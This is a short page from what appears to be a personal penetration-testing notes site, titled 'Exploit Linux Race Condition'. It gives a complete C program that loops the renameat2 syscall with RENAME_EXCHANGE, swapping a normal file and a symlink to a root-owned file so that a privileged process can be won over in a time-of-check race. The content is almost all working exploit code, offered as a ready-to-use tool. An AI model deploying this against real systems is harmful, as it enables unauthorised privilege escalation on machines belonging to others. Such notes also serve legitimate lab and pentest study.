xct's notes
Search…
Linux Race

Exploit Linux Race Condition

Linux, swapping file paths between 2 files very quickly (normal file, symlink to root owned file, swap, swap ,swap):
1
#define _GNU_SOURCE
2
#include <stdio.h>
3
#include <fcntl.h>
4
#include <stdio.h>
5
#include <unistd.h>
6
#include <sys/syscall.h>
7
#include <linux/fs.h>
8
9
int main(int argc, char *argv[]) {
10
while (1) {
11
syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
12
}
13
return 0;
14
}
Copied!
Last modified 1yr ago
Copy link